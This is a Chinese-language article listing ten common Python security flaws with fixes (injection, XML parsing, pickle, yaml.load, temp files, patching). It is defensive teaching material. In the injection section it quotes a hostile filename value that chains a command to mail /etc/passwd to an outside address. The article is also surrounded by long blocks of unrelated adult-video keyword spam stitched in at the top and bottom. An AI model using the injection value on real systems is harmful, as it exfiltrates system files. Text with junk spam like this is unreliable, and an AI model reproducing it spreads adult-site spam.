国产精品电影_久久视频免费_欧美日韩国产激情_成年人视频免费在线播放_日本久久亚洲电影_久久都是精品_66av99_九色精品美女在线_蜜臀a∨国产成人精品_冲田杏梨av在线_欧美精品在线一区二区三区_麻豆mv在线看

注意!Python中的10個常見安全漏洞及修復方法

開發 后端 漏洞
編寫安全的代碼很困難,當你學習一門編程語言、一個模塊或框架時,你會學習其使用方法。在考慮安全性時,你需要考慮如何避免代碼被濫用,Python也不例外,即使在標準庫中,也存在著許多糟糕的實例。然而,許多 Python 開發人員卻根本不知道這些。

 編寫安全的代碼很困難,當你學習一門編程語言、一個模塊或框架時,你會學習其使用方法。在考慮安全性時,你需要考慮如何避免代碼被濫用,Python也不例外,即使在標準庫中,也存在著許多糟糕的實例。然而,許多 Python 開發人員卻根本不知道這些。

以下是我總結的10個Python常見安全漏洞,排名不分先后。

1、輸入注入 

注入攻擊影響廣泛且很常見,注入有很多種類,它們影響所有的語言、框架和環境。

SQL 注入是直接編寫 SQL 查詢(而非使用 ORM) 時將字符串與變量混合。我讀過很多代碼,其中“引號字符轉義”被認為是一種修復,但事實并非如此,可以通過這個鏈接(https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)查看 SQL 注入所有可能發生的方式。

命令注入有可能在使用 popen、subprocess、os.system 調用一個進程并從變量中獲取參數時發生,當調用本地命令時,有人可能會將某些值設置為惡意值。

下面是個簡單的腳本(鏈接:https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html),使用用戶提供的文件名調用子進程:

攻擊者會將filename的值設置為“; cat /etc/passwd | mail them@domain.com或者其他同樣危險的值。

[[234219]]

修復方法:

如果你使用了 Web 框架,可以用附帶的實用程序對輸入進行清理,除非有充分的理由,否則不要手動構建 SQL 查詢,大多數 ORM 都有內置的清理方法。

對于 shell,可以使用 shlex 模塊正確地轉義輸入。

2、解析XML

如果您的應用程序加載并解析XML文件,可能您正在使用一個XML標準庫模塊。有一些針對XML的常見攻擊。大多數為DoS風格(旨破壞系統而不是盜取數據)。這些攻擊很常見,特別是在解析外部(即不可信任的)XML文件時。

其中一種攻擊為“billion laughs”,因為加載的文件包含了很多個(數十億)“lols”。你可以加載XML實體文件,當XML解析器試圖將這個XML文件加載到內存中時,會消耗很多個G的內存。不信就試試看:-)

另一種攻擊使用外部實體擴展。 XML支持從外部URL引用實體,XML解析器通常會直接獲取并加載該資源。“攻擊者可以繞開防火墻訪問保密資源,因為所有請求都是由內部可信的IP地址創建的,請求不是來自于外部。”

需要考慮的另一種情況是您要依賴于第三方軟件包來解碼XML,例如配置文件,遠程API。您甚至不知道您的某個依賴包已經暴露在攻擊之下。

那么在Python中會發生什么?標準庫模塊etree,DOM,xmlrpc都容易遭受這些類型的攻擊。詳情參考此鏈接: https://docs.python.org/3/library/xml.html#xml-vulnerabilities

修復方法:

直接用defusedxml(鏈接:https://pypi.org/project/defusedxml/)替換標準庫模塊。它增加了針對這類攻擊的安全防護。

3、Assert 語句

不要使用 assert 語句來防止用戶訪問特定代碼段。例如:

默認情況下,Python 以 __debug__ 為 true 來執行腳本,但在真實環境中,通常使用優化運行,這將會跳過 assert 語句并直接轉到安全代碼,而不管用戶是否是 is_admin 。

修復方法:

僅在單元測試中使用 assert 語句。

4、計時攻擊

計時攻擊本質上是一種通過計算比較提供值所需時間來暴露行為和算法的方式。計時攻擊需要精確性,所以通常不能用于高延遲的遠程網絡。由于大多數 Web 應用程序涉及可變延遲,因此幾乎不可能針對 HTTP Web 服務器編寫計時攻擊。

但是,如果你的應用程序有提示輸入密碼的命令行,攻擊者就可以編寫一個簡單的腳本來計算將其值與實際密碼進行比較所需的時間。例子參考鏈接:http://jyx.github.io/blog/2014/02/02/timing-attack-proof-of-concept/

這里有一個基于SSH計時攻擊的Python 工具,你可以看看如何使用它。鏈接:https://github.com/c0r3dump3d/osueta

修復方法:

使用在 Python 3.5 中引入的 secrets.compare_digest 來比較密碼和其他私密值。

5、感染site-packages 或導入路徑

Python的導入系統非常靈活。當你為測試程序編寫猴子補丁,或者重載核心函數時,你會感覺非常方便。 

但這也是Python最大的安全漏洞之一。

將第三方包安裝到site-packages中,無論是在虛擬環境中還是在全局site-packages中,你都將暴露在安全風險中。

有一些發布到PyPi的包與流行的包具有相似的名稱,但是卻執行了任意代碼。幸運的是,這很可能沒有太大危害,只會“明確表示”這個問題沒有得到真正的解決。

需要考慮的另一種情況是多層依賴包。它們可能包含漏洞,它們也可以通過導入系統重寫Python默認行為。

修復方法:

你可以利用PyUp.io這個網站提供的工具檢查你的第三方包。使用虛擬環境,確保您的全局site-packages盡可能干凈。檢查包簽名。

6、臨時文件

要在 Python 中創建臨時文件,你通常會使用 mktemp ( )函數生成一個文件名,然后使用該名稱創建一個文件。 “這是不安全的,因為另一個進程可能會在調用 mktemp ( )和隨后嘗試通過第一個進程創建文件之間的空隙創建一個同名文件。”這意味著應用程序可能加載錯誤的數據或暴露其他的臨時數據。

如果調用不正確,最新版本的 Python 會發出運行警告。

修復方法:

如果需要生成臨時文件,請使用 tempfile 模塊并使用 mkstemp。(參考鏈接:https://docs.python.org/3/library/tempfile.html#tempfile.mkstemp)

7、使用 yaml.load

這里引用 PyYAML 的說明文檔:

警告:使用不可信源的數據調用 yaml.load 是不安全的! yaml.load 和pickle.load 一樣強大,所以可以調用任何 Python 函數。

在流行的Python項目 Ansible 中找到的這樣一個例子(鏈接:https://www.talosintelligence.com/reports/TALOS-2017-0305),你可以將此值提供給 Ansible Vault作為(有效的)YAML,它使用文件中提供的參數調用 os.system。

所以,從用戶提供的值中加載 YAML 文件會讓應用大門洞開,很容易遭受攻擊。

修復方法:

總是使用 yaml.safe_load,除非你有其它更好的方法。

8、Pickle漏洞

用pickle反序列化數據和YAML一樣糟糕。在pickle對象時,Python類可以聲明一個名為__reduce__的魔術方法,該方法返回一個字符串、或一個元組。攻擊者可以使用它來引用其中一個子進程模塊,在主機上運行任意命令。

這有一個在Python2中pickle一個類并打開shell的例子(鏈接:https://blog.nelhage.com/2011/03/exploiting-pickle/)。更多利用pickle漏洞的方法請看這個鏈接:https://lincolnloop.com/blog/playing-pickle-security/

修復方法:

切勿用pickle反序列化不受信任或未經身份驗證的數據。改用另一種序列化模式,如JSON。

9、使用系統自帶的Python而不修補漏洞

大多數可移植操作系統都自帶Python2,通常還是舊版本。

由于“Python”,即CPython是用C語言編寫的,所以Python解釋器本身存在漏洞。 C語言中常見的安全問題與內存分配有關,所以存在緩沖區溢出錯誤。

多年來CPython出現了多個溢出漏洞,每個漏洞都在后續版本中進行了修復。

也就是說,如果你修補了Python本身的漏洞,你就是安全的。

這里有一個Python2.7.13及以下版本的整數溢出漏洞實例,鏈接:https://www.cvedetails.com/cve/CVE-2017-1000158/。 Ubuntu17以前版本的Python漏洞請參看鏈接:https://distrowatch.com/table.php?distribution=ubuntu

修復方法:

安裝最新版本的Python并及時修補漏洞。

10、不修補依賴包的漏洞

類似于修補Python本身的漏洞,您還需要定期修補依賴包漏洞。有人習慣于使用PyPi軟件包的“固定”版本,這種做法很可怕。他們認為“這些是有用的版本”,所以每個人都對漏洞置若罔聞。

上面提到的所有漏洞如果存在于你使用的包中,它們同樣很致命。這些軟件包的開發人員無時不刻不在解決安全問題。

修復方法:

使用類似于PyUP.io這個網站提供的服務去檢查更新,向應用程序發送pull/merge 請求,運行測試,讓軟件包保持更新。使用InSpec這樣的工具(鏈接:https://www.inspec.io/docs/reference/resources/pip/)來驗證真實環境中的安裝版本,并確保修補了最小版本或多個連續版本的漏洞。

 

責任編輯:武曉燕 來源: Python程序員
相關推薦

2018-11-15 11:00:27

Python漏洞修復

2017-12-06 08:14:25

JavaScripBUG修復

2015-07-09 09:35:37

2024-12-06 11:42:33

2021-02-14 11:25:47

漏洞微軟網絡安全

2020-04-19 21:24:01

安全Python黑客

2024-07-16 08:00:00

Kubernetes開發

2010-08-11 14:59:35

2010-11-10 15:49:38

2012-03-20 16:31:13

2009-10-12 13:01:23

2009-10-29 17:29:39

2010-08-11 15:05:39

2013-10-28 11:13:47

2012-04-28 14:00:06

2021-05-06 07:04:35

安全漏洞業務

2020-10-14 10:41:24

安全漏洞數據

2019-11-19 17:19:42

5G安全漏洞指南

2012-06-08 10:10:58

2014-09-26 09:28:14

Bash漏洞Bash軟件安全漏洞
點贊
收藏

51CTO技術棧公眾號

久草资源在线观看| 中文字幕一区二区三区欧美日韩| 亚洲福利一二三区| 韩国日本美国免费毛片| 丝袜a∨在线一区二区三区不卡| 亚洲综合小说区| 成人在线视频免费观看| 欧美孕妇与黑人孕交| 成人黄色av网址| 欧美理论片在线观看| 草民电影神马电影一区二区| 亚洲黄色av女优在线观看| 欧美另类tv| 亚洲成人教育av| 欧美aaaxxxx做受视频| 在线91免费看| 国产综合免费视频| 久久精品30| 国产成人女人毛片视频在线| 日本成人小视频| 国产精品青草久久久久福利99| 亚洲精品aaaaa| 国产91精品最新在线播放| 亚洲伊人春色| 国产精品永久免费视频| 九九热精品视频在线观看| 欧美在线视频免费播放| 国产精品chinese在线观看| 中文字幕久久精品| 国产情侣一区在线| 海角国产乱辈乱精品视频| 天堂综合网久久| 91久久国产婷婷一区二区| 亚洲午夜黄色| 亚洲精品一区二区三区蜜桃久 | 高潮按摩久久久久久av免费| 久久久久国产精品一区| 精品亚洲自拍| 国产999精品久久久| 欧美91大片| 亚洲亚洲精品三区日韩精品在线视频 | 亚洲视频在线免费| 精品在线视频一区二区| 久久99精品国产.久久久久久| 欧美一级视频在线播放| 亚洲柠檬福利资源导航| 色开心亚洲综合| 伊人久久男人天堂| 红桃成人av在线播放| 麻豆精品传媒视频| 91亚洲大成网污www| 在线观看一级片| 精品蜜桃在线看| 综合激情久久| 九九综合九九| 日本韩国精品一区二区在线观看| 你懂的在线看| 日韩西西人体444www| 性欧美xxx69hd高清| 久久久伊人欧美| 亚洲v在线看| 中文字幕乱码一区二区三区| 日本一区二区三区视频视频| 欧美日韩在线中文字幕| 日韩黄在线观看| 欧美亚洲国产日韩| 国产一区二区久久久| 成人一区二区在线观看| 国产一级黄色电影| 91精品国产综合久久香蕉的特点 | 日本美女视频一区二区| 欧美极品欧美精品欧美| 一区二区三区自拍| 俺来也官网欧美久久精品| 久久久久日韩精品久久久男男| 在线日韩欧美| 污污的网站18| 日韩欧美中文一区二区| 盗摄牛牛av影视一区二区| 欧美日韩在线高清| 国产精品国产自产拍高清av王其| 成人av免费| 日韩av电影中文字幕| 久久国产精品99久久久久久老狼| h动漫在线视频| 色午夜这里只有精品| 在线亚洲欧美| 国产传媒在线视频| 久久最新资源网| 男女性色大片免费观看一区二区| 九色porny在线观看| 美女国内精品自产拍在线播放| 久久久www| 在线观看入口黄最新永久免费国产| 这里只有精品视频在线| 亚洲综合精品| 你懂得网站在线| 2025国产精品视频| 99久久亚洲一区二区三区青草| 黄网页免费在线观看| 国产精品视频区1| 国产精品网站在线播放| 深夜视频一区二区| 亚洲永久一区二区三区在线| 在线观看网站黄不卡| 国产欧美一区二区精品久久久| 男人日女人逼逼| 亚洲人线精品午夜| 首页国产欧美久久| 69视频在线观看| 91免费高清视频| 亚洲男女毛片无遮挡| 欧美黑人性视频| 性欧美长视频| 久热久精久品这里在线观看| 久久99热精品这里久久精品| 国产在线精品国自产拍免费| 国产精品影院在线| 国产欧美久久一区二区| 亚洲欧美国产毛片在线| 精品久久亚洲| 91九色丨porny丨国产jk| 精品国产sm最大网站| 国产日韩一区二区三区在线| 日本成人一区二区三区| 国产欧美日韩精品在线观看 | 91丝袜国产在线播放| 国产伦精品一区二区三区视频金莲| 久久久久成人精品免费播放动漫| 欧美日韩中文字幕| 一本精品一区二区三区| 欧美色综合一区二区三区| 91日本在线视频| 色噜噜久久综合| 亚洲午夜精品久久久久久app| 免费观看成年在线视频网站| αv一区二区三区| 欧美浪妇xxxx高跟鞋交| 日韩精品一卡二卡三卡四卡无卡| 麻豆福利在线观看| 日韩一二区视频| 日韩一区视频在线| 中文字幕av一区二区三区| 婷婷精品视频| 最近中文字幕在线中文视频 | 亚洲国产精品99| 精品一区二区三区不卡| 欧美色999| 成人观看免费完整观看| 色综合久久中文字幕综合网小说| 亚洲欧洲精品一区二区精品久久久 | 成人午夜视屏| 成人免费播放器| 98视频在线噜噜噜国产| 亚洲午夜免费电影| 伊人久久亚洲美女图片| 成年人国产在线观看| www..com日韩| 日韩免费视频在线观看| 欧美最猛黑人xxxxx猛交| 麻豆视频一区二区| 日韩三级精品| 巨骚激情综合| 影音先锋成人资源网站| 高清欧美一区二区三区| 欧美色图在线视频| 日韩av一级片| 一区二区精彩视频| 天天影院图片亚洲| 国产精品美女在线播放| 午夜精品久久久久久久久久久久久| 午夜电影一区二区| 日欧美一区二区| av不卡一区二区| 四虎久久免费| 欧美视频在线观看网站| 国产久一一精品| 亚洲成人av在线播放| 国产亚洲人成网站| 影音先锋日韩资源| 国产高清日韩| xxxxx日韩| 成人在线免费播放视频| 国产欧美日韩综合精品二区| 伊人久久精品视频| 午夜精品一区在线观看| 国产高清不卡一区二区| 91欧美在线| 色综合天天色| www.黄在线观看| 五月婷婷狠狠操| 欧美日韩亚洲一区二区三区在线观看| 欧美精品情趣视频| 91麻豆精品久久久久蜜臀| 欧美国产精品中文字幕| 奇米色一区二区三区四区| 四季av一区二区三区免费观看| 日韩在线免费| 欧美精品电影| 一级毛片免费观看|